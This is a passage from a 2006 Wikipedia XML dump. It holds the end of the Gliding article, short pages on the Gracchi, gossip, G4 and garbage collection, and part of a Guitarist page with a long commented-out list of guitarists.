* [[Richard C. du Pont]] - director of miltary glider program
* [[Steve Fossett]] - entrepreneur and record breaker
* [[Barron Hilton]] - hotel magnate
* [[Paul MacCready]] - aviation inventor
* [[Steve McQueen]] - actor
* [[Mike Melvill]] - Spaceship One test pilot
* [[Gimli Glider|Robert Pearson]] - airline pilot who glided a Boeing 767
* [[Derek Piggott]] - movie stunt pilot
* [[Christopher Reeve]] - actor
* [[Hanna Reitsch]] - test pilot
* [[Cliff Robertson]] - actor
* [[Peter Scott]] - naturalist (founder of World Wildlife Fund)
* [[Peter Twiss]] - test pilot and former holder of the World Air Speed Record

==Some national gliding associations==
* [[British Gliding Association]]
* [[Gliding Federation of Australia]]
* [[Gliding New Zealand]]
* [[Royal Canadian Air Cadets]]
* [[Soaring Association of Canada]]
* [[Soaring Society of America]]
* [[Soaring Society of South Africa]]
* [[Minden Soaring Club]]

==Related sports==
Two minimalistic variations of the sport are [[hang gliding]], where instead of a fully-fledged plane with full control surfaces and an enclosed cockpit the craft used is basically a fabric flying wing, and [[paragliding]], where a sophisticated kind of parachute is flown. Another variation of the sport is [[radio-controlled glider|radio-controlled gliding]], where the operator of the aircraft flies the [[model aircraft|model]] sailplane from the ground via radio transmission.

==External links==
*[http://start.fai.org/gliding-federations.asp Links to all national gliding federations]
*[http://www.fai.org/gliding/ International Gliding Commission]
*[http://www.whiteplanes.com/gliders1.htm Gliding pictures]
*[http://www.alpenstreckenflug.de/texte/english/glidingvideos.htm Videos]
*[http://www.yorksoaring.com/whatissoaring.html Useful diagrams]
*[http://myweb.tiscali.co.uk/miskin/gliding/ Learning to glide]

[[Category:Aeronautics]]
[[Category:aviation]]
[[Category:Gliding]]

[[da:Svæveflyvning]]
[[de:Segelflug]]
[[fr:Vol à voile]]
[[id:Gliding]]
[[he:דאייה]]
[[hu:Siklórepülés]]
[[nl:Zweefvliegen]]
[[no:Seilfly]]
[[pl:Szybownictwo]]
[[fi:Purjelento]]
[[sv:Segelflyg]]</text>
    </revision>
  </page>
  <page>
    <title>Gracchi</title>
    <id>12615</id>
    <revision>
      <id>41387919</id>
      <timestamp>2006-02-27T00:25:48Z</timestamp>
      <contributor>
        <username>Djnjwd</username>
        <id>9595</id>
      </contributor>
      <minor />
      <comment>fix :ru link</comment>
      <text xml:space="preserve">The '''Gracchi''' were a noble plebeian family of ancient [[Roman Republic|Rome]].  

The most notable members were:

*The elder [[Tiberius Sempronius Gracchus (consul)|Tiberius Sempronius Gracchus]], who was [[consul]] in [[177 BC]];
*His son the younger [[Tiberius Gracchus|Tiberius Sempronius Gracchus]], [[tribune]] in [[133 BC]]
*The younger son of the former and brother of the latter Tiberius, [[Gaius Gracchus|Gaius Sempronius Gracchus]], tribune in [[123 BC|123]] and [[122 BC]].

The Gracchi brothers, Tiberius and Gaius, went down in history as two martyrs to the cause of social reform.  Both were killed by members of the Senate for attempting to make the system more friendly to the lower classes of Rome.
The Gracchi were connected through marriage to the [[Scipio]]nes, [[Cornelius (gens)|Cornelii]], [[Claudius (gens)|Claudii]], and [[Paullus|Paulli]].

{{seealso|Scipio-Paullus-Gracchus family tree}}
[[Category:Families of Rome]]
[[de:Gracchus]]
[[es:Graco]]
[[fr:Gracques]]
[[nl:Gracchus]]
[[ja:グラックス兄弟]]
[[ru:Гракхи]]</text>
    </revision>
  </page>
  <page>
    <title>Gossip</title>
    <id>12616</id>
    <revision>
      <id>41635007</id>
      <timestamp>2006-02-28T18:04:58Z</timestamp>
      <contributor>
        <username>Bhouston</username>
        <id>319269</id>
      </contributor>
      <minor />
      <comment>added [[Category:Social constructionism]] cat and a [[Misinformation]] see also link</comment>
      <text xml:space="preserve">{{wiktionary}}
The word '''''gossip''''' may refer to:
* the act of spreading news from person to person, especially [[rumor]]s or private information: see [[chat]]
* the news spread through the act of gossiping
While gossip forms one of the oldest and (still) the most common means of spreading and sharing information, it  also has a reputation for the introduction of errors and other variations into the information thus transmitted. The term also carries implications that the news so transmitted (usually) has a personal or trivial nature. Compare [[conversation]].

Gossip has recently come into the [[research | academy]] as a fruitful avenue of study, particularly in light of its relationship to both '''overt and implicit [[power (sociology) | power]] structures'''. Compare [[discourse]].

Some newspapers carry &quot;[[gossip columnist |gossip column]]s&quot; which retail the social and personal lives of [[celebrity | celebrities]] or of [[elitism | élite]] members of a local community.

==Etymology==
The word &quot;gossip&quot; originates from ''god-sib'', the [[godparent]] of one's child or parent of one's godchildren (&quot;god-sibling&quot;), referring to a relationship of close friendship. The [[Oxford English Dictionary]] traces the usage of ''godsib'' back as far as 1014.

One story (probably apocryphal) tells how, at the beginning of the 20th century, politicians would send assistants to bars to sit and listen to general public conversations.  The assistants had instructions to sip a beer and listen to opinions; they responded to the command to &quot;go sip&quot;, which allegedly turned into &quot;gossip&quot;.

(Note that the [[Oxford English Dictionary]] traces the use of ''gossip'' in the meaning of &quot;idle talk; trifling or groundless rumour; tittle-tattle ... [e]asy, unrestrained talk or writing, esp. about persons or social incidents&quot; back as far as 1811; and the verb ''to gossip'' as far back as the early 17th century.)

==Functions of gossip== [[Image:No chat.jpg|thumb|225px|This Soviet war poster reads: &quot;Don't chatter! Gossiping borders on treason&quot; (1941).]]

Gossip can serve to:
* normalise and re-inforce [[morality | moral]] boundaries in a speech-community
* foster and build a sense of [[community]] with shared interests and [[information]]
* entertain and divert participants in gossip-sessions
* retail and develop [[story | stories]] and even [[legend]]s: see [[memetics]]
* build structures of social [[accountability]]
* further mutual [[social grooming]] (like many other uses of [[language]], only more so)
* reflect unvarnished and spontaneous [[public opinion]] - of interest to [[marketing | marketeer]]s, to [[opinion poll]] and to [[secret police]]men

In modern times, &quot;gossip&quot; is now often commonly understood to mean the spreading of [[rumor]] and [[misinformation]], often through exicted conversation over [[scandal]]s.

==Enemies of gossip==
Some see gossip as trivial, hurtful and socially and/or intellectually unproductive.

In a more sinister interpretation, restrictions on gossip could potentially paralyse the free flow of information and enforce [[straight-jacket]]ed [[thought | think]]ing and [[censorship]] in a community. Compare [[freedom of speech]].

==Quotes==
''Gossip, even when it avoids the sexual, bears around it a faint flavor of the erotic.'' - Patricia Meyer Spacks

==See also==
* [[Gossip magazines]]
* [[Libel]]
* [[Rumor]]
* [[Scandal]]
* [[Misinformation]]

==Bibliography==

* Robert F. Goodman and A. Ben-Zeev, eds. ''Good Gossip''. Univ. Press of Kansas, 1993.
* Patricia Meyer Spacks. ''Gossip''. New York: Knopf, 1985.

==External links==
{{Wikiquote}}
*[http://www.chass.utoronto.ca/~sousa/gossip.html Ronald Susa (U Toronto) on Gossip]
*[http://www.nytimes.com/2002/08/10/arts/10GOSS.html?todaysheadlines Go Ahead Gossip May Be Virtuous, New York Times article August 10, 2002]
*[http://www.holidaycook.com/party-games/gossip.shtml Gossip - Rules for the Parlor Game]
*[http://las.alfred.edu/~hustud/Westacott/The%20Ethics%20of%20Gossiping.PDF Emrys Westacott (Alfred U) The Ethics of Gossiping]
[[pl:plotka]]
*[http://www.tuttogossip.com Italian gossip resource]

[[Category:Human communication]]
[[Category:Communication of falsehoods]]
[[Category:Social constructionism]]</text>
    </revision>
  </page>
  <page>
    <title>Graphical User Interface</title>
    <id>12617</id>
    <revision>
      <id>19150259</id>
      <timestamp>2005-07-19T13:14:36Z</timestamp>
      <contributor>
        <username>Sonett72</username>
        <id>71107</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Graphical user interface]]</text>
    </revision>
  </page>
  <page>
    <title>G4</title>
    <id>12618</id>
    <revision>
      <id>41615648</id>
      <timestamp>2006-02-28T15:11:23Z</timestamp>
      <contributor>
        <username>Kbdank71</username>
        <id>197953</id>
      </contributor>
      <comment>per [[WP:CFD]] [[Wikipedia:Categories for deletion/Log/2006 February 20|Feb 20]] using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">'''G4''' or '''G-4''' is the name of:

* '''[[PowerPC G4]]''' – a type of [[microprocessor]] used by [[Apple Computer]].
* '''[[G4 (TV channel)]]''' – a male-oriented (formerly video game oriented) [[television station|TV channel]].
* '''[[G4 (band)]]''' – a pop group on the [[ITV]] [[television programme]] ''[[The X Factor (television series)|The X Factor]]''.
*'''G4''' is the IATA code for [[Allegiant Air]]
* '''G4 star''' – a subclass of G-[[Stellar classification|class]] [[star]]s.
* '''[[Group 4]]''' of the [[periodic table]].
* '''[[G4 nations]]''' – four major nations seeking seats on the [[UN Security Council]]: [[Germany]], [[Brazil]], [[Japan]], and [[India]].
* '''[[G4 bloc]]''' – [[China]], [[India]], [[Brazil]], and [[South Africa]]&amp;mdash;the core leadership of the larger [[G20]] trade bloc within the [[World Trade Organization]].
* '''[[Gulfstream G400]] and G450''' – private jets.
*'''[[Santa Clara County Route G4]]''' – a county [[highway]] in [[Santa Clara County, California]], [[United States|USA]].
* [[Group of Four]]
* A former VIP unit of the Hong Kong Police Force.

{{2CC}}

[[ja:G4]]</text>
    </revision>
  </page>
  <page>
    <title>Garbage collection</title>
    <id>12619</id>
    <revision>
      <id>34563076</id>
      <timestamp>2006-01-10T02:09:03Z</timestamp>
      <contributor>
        <username>JosephBarillari</username>
        <id>28715</id>
      </contributor>
      <text xml:space="preserve">'''Garbage collection''' can refer to two different things:

* [[Garbage collection (computer science)]]: an automatic way of reclaiming unused storage;
* Civic garbage collection: [[waste management]].

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Guitarist</title>
    <id>12620</id>
    <revision>
      <id>40091084</id>
      <timestamp>2006-02-18T01:43:35Z</timestamp>
      <contributor>
        <username>Jazzgtrpunk</username>
        <id>951361</id>
      </contributor>
      <text xml:space="preserve">[[Image:howe.jpg|thumb|250px|Steve Howe playing lead guitar for Yes in 1977]]
A '''guitarist''' is a [[musician]] who plays the [[guitar]]. &lt;br&gt;

&lt;!-- This section was becoming a vanity section and not adding much usefulness; commenting it out entirely until someone/some people can clean it up.
==Noted guitarists==

===[[European classical music|Classical]]===

==== Baroque (XVII &amp; XVIII century) ====

* [[François Campion]] (ca 1688-1748)
* [[Antoine Carré (guitarist)|Antoine Carré]]
* [[Francisco Corbetta]] (ca 1620-1681)
* [[Nicolas Desrosiers]]
* [[Giovanni Paolo Foscarini]]
* [[Henri Grenerin]]
* [[Giovanni Battista Granata]]
* [[Francisco Guerau]]
* [[Louis Jourdan de La Salle]]
* [[Girolamo Montesardo]]
* [[Santiago de Murcia]]
* [[Gaspard Sanz]] (1640-1710)
* [[Robert de Visée]] (ca 1658-1725)

==== XIX century ====
*[[Dioniso Aguado]] (1784-1849)
*[[Matteo Carcassi]] (1792-1853)
*[[Ferdinando Carulli]] (1770-1841)
*[[Napoléon Coste]] (1806-1883)
*[[Zani de Ferranti]] (1801-1878)
*[[José Ferrer (guitarist)|José Ferrer]] (1835-1916)
*[[François de Fossa]]
*[[Mauro Giuliani]] (1781-1829)
*[[Johann Kaspar Mertz]] (1806-1856)
*[[Niccolò Paganini]] (1782-1840)
*[[Julio Regondi]]
*[[Fernando Sor]] (1778-1839)
*[[Francisco Tárrega]]

==== XX century ====
*[[Agustín Barrios]] (Agustín Pió Barrios) (1885-1944)
*[[Alexandre Lagoya]] (1929-1999)
*[[Antonio Lauro]] (1917-1986)
*[[Miguel Llobet]] (1878-1938) 
*[[Godelieve Monden]]
*[[Sergei Orekhov]] 
*[[Emilio Pujol]]
*[[Ida Presti]] (1924-1967)
*[[Regino Sainz de la Maza]]
*[[Andrés Segovia]] (1893-1987)
*[[Joseph Tomo]]
*[[Dimitris Fampas]] (1921-1996) 
*[[Narciso Yepes]] (1927-1997)
*[[Mike Reid]] (1929-1990)

==== Contemporary ====

===== England/Scotland =====
*[[Jeff Beck]]
*[[Ritchie Blackmore]]
*[[Eric Clapton]]
*[[Peter Frampton]]
*[[Jimmy Page]]
*[[Angus Young]]

===== United States =====
*[[Lily Afshar]]
*[[Magnus Andersson]] (*1955)
*[[Roberto Aussel]]
*[[Manuel Barrueco]] (*1952)
*[[Paulo Bellinati]]
*[[Dusan Bogdanovic]]
*[[Ben Bolt]] (*1953)
*[[Julian Bream]] (*1933)
*[[Leo Brouwer]] (*1939)
*[[Il-Ryun Chung]]
*[[Marco Comandè]] (*1956)
*[[Alirio Diaz]] (*1923)
*[[Máximo Diego Pujol]]
*[[Carlo Domeniconi]]
*[[Zoran Dukić]] (*1969)
*[[Roland Dyens]] (*1955)
*[[Eva Fampas]]
*[[Oliver Fartach-Naini]] (*1964) Guitarist from Berlin, teaches at the University of Adelaide, Australia
*[[Eliot Fisk]]
*[[Jimi Hendrix]]
*[[James Hogan]]
*[[Sharon Isbin]]
*[[Jovan Jovicic]]
*[[Nikita Koshkin]]
*[[Carlo Marchione]] (*1964)
*[[Pablo Márquez]]
*[[Jaime Mirtenbaum Zenamon]]
*[[Jorge Morel]] (*1931)
*[[Tony Morris]] (*1962) Performer &amp; national public radio producer
*[[Thomas Müller-Pering]] (*1958)
*[[Silvia Ocougne]] (*1957) Contemporary music performer and composer. Brasilian, lives in Berlin, Germany.
*[[Allar Õunapuu]] (*1967)
*[[Christopher Parkening]] (*1947)
*[[Alvaro Pierri]]
*[[Alberto Ponce]] (*1935)
*[[Stanko Prek]]
*[[David Qualey]] (*1947)
*[[Štěpán Rak]]
*[[Duke Robillard]]
*[[David Russell]]
*[[Angel Romero]]
*[[Pepe Romero]]
*[[Stephan Schmidt]]
*[[John Schneider (guitarist)|John Schneider]]
*[[Frank Lee Sprague]]
*[[David Starobin]]
*[[Pavel Steidl]]
*[[David Tanenbaum]]
*[[John Williams (guitarist)|John Williams]]
*[[Kazuhito Yamashita]]
*[[Andrew York]]
*[[Laura Young]]

==== Promising talents ====
*[[Alex Wand]]
*[[Carlo Corrieri]]
*[[Marcin Dylla]]
*[[Boris Gaquere]]
*[[Pablo Gómez]]
*[[Joseph Jacks]]
*[[Timo Korhonen]]
*[[Goran Krivokapić]]
*[[Dimitri Illarionov]]
*[[Grégory Leclair]]
*[[Anthony Ocana]]
*[[Antal Pusztai]]
*[[Denis Sung-Hô]]
*[[Aliéksey Vianna]]
*[[Yang Xuefei]]
*[[Ryan Lloyd]]
*[[Eric Bates]]

==== Guitar Quartet ====

*[[Los Angeles Guitar Quartet]]
Ed Snook

==== Guitar trios ====

*[[Trio de Cologne]]

==== Guitar duos ====

*[[Duo Assad]]
*[[Duo Astor]]
*[[Duo Lee Song-Ou &amp; Oliver Fartach-Naini]]

----

===[[Latin-American music]]===

*[[Baden Powell]]
*[[Atahualpa Yupanqui]]
*[[Victor Villadangos]]


----


===[[Flamenco]]===

:[[Vicente Amigo]]
:[[Moraito Chico]]
:[[Mario Escudero]]
:[[Oscar Herrero]]
:[[Paco de Lucía]]
:[[Luis Maravilla]]
:[[Carlos Montoya]]
:[[Ramón Montoya]]
:[[Paco Peña]]
:[[Esteban de Sanlucar]]
:[[Nino Ricardo (Manuel Serrapi)]]
:[[Sabicas (Augustin Castellon)]]
:[[Manolo Sanlúcar]]
:[[Tomatito]]
:[[Tito Alcedo]]


----

===[[Jazz]]===

[[List of jazz guitarists| List of jazz guitarists]]
:[[Danny Barker]]
:[[Jørn Are Vigestad Berge]]
:[[Lenny Breau]]
:[[Charlie Byrd]]
:[[Charlie Christian]]
:[[Franco Cerri]]
:[[Gigi Cifarelli]] 
:[[Eddie Condon]]
:[[Drew Denton]]
:[[Al Di Meola]]
:[[Bill Frisell]]
:[[Frank Gambale]]
:[[Jim Hall (musician)|Jim Hall]]
:[[Chuck Hammer]]
:[[Scott Henderson]]
:[[Allan Holdsworth]]
:[[Charlie Hunter]]
:[[Stanley Jordan]]
:[[Enver Izmailov]]
:[[Barney Kessel]]
:[[Eddie Lang]]
:[[Tony Macalpine]]
:[[Pat Martino]]
:[[John McLaughlin (musician)|John McLaughlin]]
:[[Pat Metheny]]
:[[Wes Montgomery]]
:[[Joe Pass]]
:[[Andreas Paolo Perger]]
:[[Snoozer Quinn]]
:[[Django Reinhardt]]
:[[Marc Ribot]]
:[[John Scofield]]
:[[Sonny Sharrock]]
:[[Mike Stern]]
:[[Andy Summers]]
:[[Martin Taylor]]
:[[Gabor Szabo]]
:[[Herb Ellis]]
:[[Richard Hallebeek]]

Michael ATONAL Vick on Fretless Guitar Guitars and Bass
[http://www.atonal-hole.com Atonal-Hole.com]
----

===Folk and acoustic===
:[[William Ackerman]]
:[[Dan Ar Braz]]
:[[Patrick Beverley]]
:[[Chet Atkins]]
:[[Joan Baez]]
:[[Gilles le Bigot]]
:[[Martin Carthy]]
:[[Ry Cooder]]
:[[Jim Croce]]
:[[John Denver]]
:[[Ani DiFranco]]
:[[Nick Drake]]
:[[Doyle Dykes]]
:[[Bob Dylan]]
:[[Dave Ellis (musician)|Dave Ellis]]
:[[Tommy Emmanuel]]
:[[John Fahey]]
:[[Gordon Giltrap]]
:[[Davey Graham]]
:[[Michael Hedges]]
:[[Bert Jansch]]
:[[Nic Jones]]
:[[Leo Kottke]]
:[[Adrian Legg]]
:[[Francois Luambo Makiadi]] &quot;Franco&quot;
:[[John Martyn]]
:[[Ellen McIlwaine]]
:[[Tony McManus]]
:[[Joni Mitchell]]
:[[Tom Paxton]]
:[[Al Perkins]]
:[[John Renbourn]]
:[[Rosenberg Trio|Stochelo Rosenberg]]
:[[Tony Rice]]
:[[Art Paul Schlosser]]
:[[Soïg Sibéril]]
:[[Dick Siegel]]
:[[Paul Simon]] ([[Simon and Garfunkel]])
:[[Ivan Nikolayevich Smirnov (musician)|Ivan Smirnov]]
:[[James Taylor]]
:[[Richard Thompson]]
:[[Leon Wesley Walls]]
:[[Doc Watson]]
:[[Hank Williams]]
:[[Mason Williams]]

----

===[[Blues]]===
:[[Luther Allison]]
:[[Duane Allman]]
:[[Blind Blake]]
:[[Michael Bloomfield]]
:[[Doyle Bramhall]]
:[[Big Bill Broonzy]]
:[[Roy Buchanan]]
:[[Chris Cain]]
:[[Eric Clapton]]
:[[Albert Collins]]
:[[Tracy Conover]]
:[[Ry Cooder]]
:[[Robert Cray]]
:[[Steve 'The Colonel' Cropper]]
:[[Paul Dye]]
:[[Robben Ford]]
:[[Jesse Fuller]]
:[[Lowell Fulson]]
:[[Rory Gallagher]]
:[[Guitar Shorty]]
:[[Guitar Slim]]
:[[Buddy Guy]]
:[[Chuck Hammer]]
:[[John Hammond, Jr.]]
:[[Jimi Hendrix]]
:[[John Lee Hooker]]
:[[Son House]]
:[[Mississippi John Hurt]]
:[[Elmore James]]
:[[Skip James]]
:[[Blind Lemon Jefferson]]
:[[Lonnie Johnson]]
:[[Luther 'Guitar Junior' Johnson]]
:[[Robert Johnson]]
:[[Rev.Jon Carr]]
:[[Albert King]] 
:[[B.B. King]]
:[[Freddie King]]
:[[Little Jimmy King]]
:[[Sonny Landreth]]
:[[Leadbelly]]
:[[J.B. Lenoir]]
:[[Tweke Lewis]]
:[[Mance Lipscomb]]
:[[Lonnie Mack]]
:[[Taj Mahal (musician)|Taj Mahal]]
:[[Mississippi Fred McDowell]]
:[[Brownie McGhee]]
:[[Blind Willie McTell]]
:[[Little Milton]]
:[[Memphis Minnie]]
:[[Coco Montoya]]
:[[Gary Moore]]
:[[Keb' Mo']]
:[[Matt 'Guitar' Murphy]]
:[[Charlie Patton]]
:[[Bonnie Raitt]]
:[[Tampa Red]]
:[[Jimmy Reed]]
:[[Robert Ross (singer)|Robert Ross]]
:[[Otis Rush]]
:[[Kenny Wayne Shepherd]]
:[[Hubert Sumlin]]
:[[Sister Rosetta Tharpe]]
:[[Jimmy Vaughan]]
:[[Stevie Ray Vaughan]]
:[[Joe Louis Walker]]
:[[T-Bone Walker]]
:[[Muddy Waters]]
:[[Bukka White]]
:[[Josh White]]
:[[Johnny Winter]]
:[[Howlin' Wolf]]
:[[Pappo]]

----

===[[Rock and roll|Rock]]/[[Pop music|pop]]===
:[[Ace Andres]]  ([[The X-15's]])
:[[Aly &amp; A.J.]](sister singing group)
:[[Robin Guthrie]]  ([[Cocteau Twins]])
:[[John Squire]]   ([[Stone Roses]])
:[[Robby Krieger]] ([[The Doors]])
:[[Quinn Allman]] ([[The Used]])  
:[[Olga (Michael Algar) ]]([[Toy Dolls]])
:[[Noble (musician)|Noble]] ([[British Sea Power]])
:[[Jim Adkins]] ([[Jimmy Eat World]])
:[[Duane Allman]] ([[Derek and the Dominos]], [[The Allman Brothers Band]])
:[[Ron Asheton]] ([[The_Stooges]])
:[[Matt Bellamy]] ([[Muse]])
:[[Trey Anastasio]] ([[Phish]])
:[[Joe Bishop]] ([[Caterwaul]])
:[[Michael Angelo Batio]]
:[[Chet Atkins]]
:[[Dave Ball]] ([[Procol Harum]])
:[[Perry Bamonte]]
:[[Andy Taylor]] ([[Duran Duran]])
:[[Syd Barrett]] ([[Pink Floyd]])
:[[David Bates (guitarist)|David Bates]]
:[[Jeff Beck]]
:[[Adrian Belew]] ([[Frank Zappa]], [[King Crimson]], [[The Bears]])
:[[Chuck Berry]]
:[[Ritchie Blackmore]] ([[Deep Purple]])
:[[Lindsey Buckingham]] ([[Fleetwood Mac]])
:[[Paul Burlison]] ([[The Rock and Roll Trio]])
:[[Charlie Christian]]
:[[Eric Clapton]] ([[The Yardbirds]], [[Cream (band)|Cream]], [[Derek and the Dominos]], [[Blind Faith]])
:[[Kurt Cobain]] ([[Nirvana (band)|Nirvana]])
:[[Billy Corgan]] ([[The Smashing Pumpkins]])
:[[Warren Cuccurullo]] ([[Frank Zappa]], [[Missing Persons]], &amp; [[Duran Duran]])
:[[Dick Dale]]
:[[Jean Pierre Danel]]
:[[Thomas Delonge]] ([[Blink182]], [[Boxcar Racer]], [[Angels and Airwaves]])
:[[Bo Diddley]]
:[[Duane Eddy]]
:[[Paul Dye]]
:[[Michael Nesmith]] ([[The Monkees]])
:[[Mattias Eklundh|Mattias &quot;IA&quot; Eklundh]] ([[Freak Kitchen]])
:[[David Howell Evans|David Evans]] aka The Edge ([[U2]])
:[[Mark Farner]] ([[Grand Funk Railroad]])
:[[Ace Frehley]] ([[KISS_(band)|Kiss]])
:[[Robert Fripp]] ([[King Crimson]])
:[[John Frusciante]] ([[Red Hot Chili Peppers]])
:[[Noel Gallagher]] ([[Oasis (band)|Oasis]])
:[[Jerry Garcia]] (the [[Grateful Dead]])
:[[David Gilmour]] ([[Pink Floyd]])
:[[Paul Gilbert]] ([[Mr. Big]])
:[[Mick Grabham]] ([[Cochise,Procol Harum]])
:[[Valeri Gradinarski]] ([[LZ]])
:[[Steve Hackett]] ([[Genesis (band)|Genesis]])
:[[Chuck Hammer]] ([[Lou Reed]], [[David Bowie]], [[Guitarchitecture]])
:[[George Harrison]] ([[The Beatles]])
:[[Jimi Hendrix]] ([[The Jimi Hendrix Experience]])
:[[Buddy Holly]]
:[[Tomoyasu Hotei]] ([[BOØWY]])
:[[Steve Howe (guitarist)|Steve Howe]] ([[Yes (band)|Yes]])
:[[Chrissie Hynde]] ([[The Pretenders]])
:[[Tony Iommi]]  ([[Black Sabbath]])
:[[John Kay (musician)|John Kay]] ([[Steppenwolf (band)|Steppenwolf]])
:[[Phil Keaggy]]
:[[Paula Kelley]]
:[[Cheyenne Kimball]]
:[[Mark Knopfler]] ([[Dire Straits]] &amp; [[Notting HillBillies]])
:[[Wayne Kramer]] ([[MC5]])
:[[Goktan Kural]] ([[Hazerfan (band)|Hazerfan]])
:[[Shawn Lane]]
:[[Tweke Lewis]] 
:[[Alex Lifeson]] ([[Rush (band)|Rush]])
:[[Tom Linton]] ([[Jimmy Eat World]])
:[[George Lynch (musician)|George Lynch]] ([[Dokken]])
:[[Kee Marcello]] ([[Europe (band)|Europe]])
:[[Johnny Marr]]  ([[The Smiths]])
:[[Mick Mars]] ([[Mötley Crüe]])
:[[Hank B. Marvin]] ([[The Shadows (band)|The Shadows]])
:[[Tak Matsumoto]] ([[B'z]])
:[[Brian May]] ([[Queen (band)|Queen]])
:[[John Mayer]] ([[John Mayer Trio]])
:[[Andy McCoy]] ([[Hanoi Rocks]])
:[[Mike McCready]] ([[Pearl Jam]])
:[[Roger McGuinn]] ([[The Byrds]])
:[[Barry Melton]] ([[Country Joe and the Fish]], [[The Dinosaurs]])
:[[Midoru]]
:[[Kim Mitchell]]
:[[Vinnie Moore]]
:[[Tom Morello]] ([[Rage Against The Machine]])
:[[Steve Morse]]
:[[Dave Navarro]] ([[Jane's Addiction]], [[Red Hot Chili Peppers]])
:[[John Norum]] ([[Europe (band)|Europe]])
:[[Ted Nugent]]
:[[Jimmy Page]] ([[Led Zeppelin]], [[The Yardbirds]])
:[[Les Paul]]
:[[Joe Perry (musician)|Joe Perry]] ([[Aerosmith]])
:[[John Perry (musician)|John Perry]] ([[The Only Ones]]) 
:[[Tom Petty]] ([[Tom Petty &amp; the Heartbreakers]])
:[[Prince (artist)|Prince]]
:[[Jade Puget]] ([[AFI (band)|AFI]])
:[[Johnny Ramone]] ([[The Ramones]])
:[[Chris Rea]]
:[[Vernon Reid]] ([[Living Colour]])
:[[Sheldon Reynolds]] ([[Earth, Wind &amp; Fire]], solo artist)
:[[Keith Richards]] ([[The Rolling Stones]])
:[[Michael Roe]]
:[[Michael Monarch]] ([[Steppenwolf (band)|Steppenwolf]])
:[[Mick Ronson]] (played with [[David Bowie]])
:[[Richie Sambora]] ([[Bon Jovi]])
:[[Claudio Sanchez]] ([[Shabutie]], [[Coheed and Cambria]], &amp; [[The Prize Fighter Inferno]])
:[[Carlos Santana]]
:[[Joe Satriani]]
:[[Neal Schon]] ([[Journey (band)|Journey]])
:[[James Honeyman-Scott]] ([[The Pretenders]])
:[[Brian Setzer]] ([[The Stray Cats]], [[The Brian Setzer Orchestra]])
:[[Paul Simon]] ([[Simon and Garfunkel]])
:[[Slash (musician)|Slash]] ([[Slash's Snakepit]], [[Guns N' Roses]], &amp; [[Velvet Revolver]])
:[[Robert Smith]]
:[[Frank Lee Sprague]]
:[[Billy Squier]]
:[[John Squire]]
:[[Izzy Stradlin]] ([[Guns N' Roses]])
:[[Andy Summers]] ([[The Police (band)|The Police]])
:[[Akira Takasaki]] ([[Loudness (heavy metal)|Loudness]])
:[[Teitur]]
:[[Porl Thompson]]
:[[Pete Townshend]] ([[The Who]])
:Jason Trachtenburg [[Trachtenburg Family Slideshow Players]] (band)
:[[Robin Trower]]   ([[Paramounts,Procol Harum,Robin Trower]])
:[[Steve Vai]] ([[Frank Zappa]], [[Alcatrazz]], [[David Lee Roth]], &amp; [[Whitesnake]])
:[[Gnome Dizzle]]
:[[Eddie Van Halen]] ([[Van Halen]])
:[[Tom Verlaine]] ([[Television (band)|Television]])
:[[Joe Walsh]] ([[The James Gang]], [[The Eagles]])
:[[Jack White (musician)|Jack White]] ([[The White Stripes]])
:[[Jason White]] ([[Pinhead Gunpowder]])
:[[Nancy Wilson (guitarist)|Nancy Wilson]] ([[Heart (band)|Heart]])
:[[Angus Young]] ([[AC/DC]])
:[[Malcolm Young]] ([[AC/DC]])
:[[Neil Young]] ([[Buffalo Springfield]], [[Crazy Horse (band)|Crazy Horse]], [[CSN&amp;Y]], [[The Esquires]], [[The Stray Gators]])
:[[Frank Zappa]] (among other things, played with [[The Mothers of Invention]])
:[[Blues Saraceno]]
:[[John Mayer (musician)|John Mayer]]
:[[George Harrison]] ([[The Beatles]])
:[[Jimi Hendrix]] ([[The Jimi Hendrix Experience]])
:[[Buddy Holly]]
:[[Tomoyasu Hotei]] ([[BOØWY]], [[COMPREX (band)|COMPREX]])
:[[Chrissie Hynde]] ([[The Pretenders]])
:[[John Kay (musician)|John Kay]] ([[Steppenwolf (band)|Steppenwolf]])
:[[Phil Keaggy]]
:[[Mark Knopfler]] ([[Dire Straits]] &amp; [[Notting HillBillies]])
:[[Goktan Kural]] ([[Hazerfan (band)|Hazerfan]])
:[[Shawn Lane]] 
:[[Paul Leary]] ([[Butthole_Surfers]])
:[[Alex Lifeson]] ([[Rush (band)|Rush]])
:[[Tom Linton]] ([[Jimmy Eat World]])
:[[Hank B. Marvin]] ([[The Shadows (band)|The Shadows]])
:[[Johnny Marr]]  ([[The Smiths]])
:[[Mick Mars]] ([[Mötley Crüe]])
:[[J Mascis]] ([[Dinosaur_Jr.]])
:[[Tak Matsumoto]] ([[B'z]])
:[[Brian May]] ([[Queen (band)|Queen]])
:[[Andy McCoy]] ([[Hanoi Rocks]])
:[[Mike McCready]] ([[Pearl Jam]])
:[[Roger McGuinn]] ([[The Byrds]])
:[[Barry Melton]] ([[Country Joe and the Fish]], [[The Dinosaurs]])
:[[Midoru]]
:[[Kim Mitchell]]
:[[Michael Monarch]] ([[Steppenwolf (band)|Steppenwolf]])
:[[Vinnie Moore]]
:[[Tom Morello]] ([[Rage Against The Machine]])
:[[Steve Morse]]
:[[Bob_Mould]] ([[H%C3%BCsker_D%C3%BC]])
:[[Dave Navarro]] ([[Jane's Addiction]], [[Red Hot Chili Peppers]])
:[[Ted Nugent]]
:[[Jimmy Page]] ([[Led Zeppelin]], [[The Yardbirds]])
:[[Les Paul]]
:[[Joe Perry (musician)|Joe Perry]] ([[Aerosmith]])
:[[Tom Petty]] ([[Tom Petty &amp; the Heartbreakers]])
:[[Elvis Presley]]
:[[Prince (artist)|Prince]]
:[[Jade Puget]] ([[AFI (band)|AFI]])
:[[Johnny Ramone]] ([[The Ramones]])
:[[Chris Rea]]
:[[Vernon Reid]] ([[Living Colour]])
:[[Sheldon Reynolds]] ([[Earth, Wind &amp; Fire]], solo artist)
:[[Keith Richards]] ([[The Rolling Stones]])
:[[Michael Roe]]
:[[Mick Ronson]] (played with [[David Bowie]])
:[[Richie Sambora]] ([[Bon Jovi]])
:[[Carlos Santana]]
:[[Joe Satriani]]
:[[Neal Schon]] ([[Journey (band)|Journey]])
:[[James Honeyman-Scott]] ([[The Pretenders]])
:[[Brian Setzer]] ([[The Stray Cats]], [[The Brian Setzer Orchestra]])
